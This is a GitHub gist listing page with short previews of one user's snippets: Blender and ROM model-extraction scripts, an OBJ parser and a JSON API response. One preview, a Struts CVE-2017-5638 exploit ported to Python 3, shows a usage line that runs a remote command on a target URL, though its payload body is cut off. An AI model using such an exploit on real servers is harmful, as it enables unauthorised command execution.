Skip to content

Instantly share code, notes, and snippets.

View joshbodily's full-sized avatar
👨‍💻
Coding probably

Josh Bodily joshbodily

👨‍💻
Coding probably
View GitHub Profile
@joshbodily
joshbodily / hulls.py
Created February 3, 2025 18:51
Convex Hulls from Blender to Lua
import bpy
import bmesh
import itertools
# Usage, assign material slots to each unique coplanar plane in each convex hull of the mesh (leaving the first material slot for unassigned faces)
obj = bpy.data.objects['Model']
me = obj.data
vertices = me.vertices
@joshbodily
joshbodily / all_models.py
Created January 30, 2025 18:21
Generate all Starfox models from ROM
import re
import os
def nybble_to_int(str):
return int(str.replace('$', ''), 16)
def byte_to_int(pair):
hi = nybble_to_int(pair[1])
lo = nybble_to_int(pair[0])
return (hi << 8) + lo
@joshbodily
joshbodily / parse_obj.c
Created January 29, 2025 17:42
Parse .OBJ file for OpenGL
MyVertex* parseObjFile(const char* file, int* faces, int* lines) {
FILE* fp = NULL;
errno_t ferr = fopen_s(&fp, file, "r");
fseek(fp, 0, SEEK_END);
long size = ftell(fp);
fseek(fp, 0, SEEK_SET);
char* buffer = (char*)malloc(size + 1);
fread(buffer, 1, size, fp);
buffer[size] = '\0';
@joshbodily
joshbodily / exploit.py
Created January 30, 2024 18:41
Struts CVE-2017-5638 exploit patched for Python 3
# Example usage:
# python struts.py http://localhost:8080/struts2-showcase/fileupload/upload.action "dir /p"
#!/usr/bin/python
# -*- coding: utf-8 -*-
#import urllib2
import urllib.request
import http.client as httplib
def exploit(url, cmd):
@joshbodily
joshbodily / api_init.txt
Created September 30, 2015 05:08
api/init JSON response w/ new legal text (English - pending fixes)
{
"gold": {
"amount_owned": 0,
"gold_text": "My Lord, your people adore your might and generosity. Empower your kingdom by purchasing gold below!",
"order": [
"38484498802",
"38484498803",
"38484498804",
"38484498805",
"38484498806",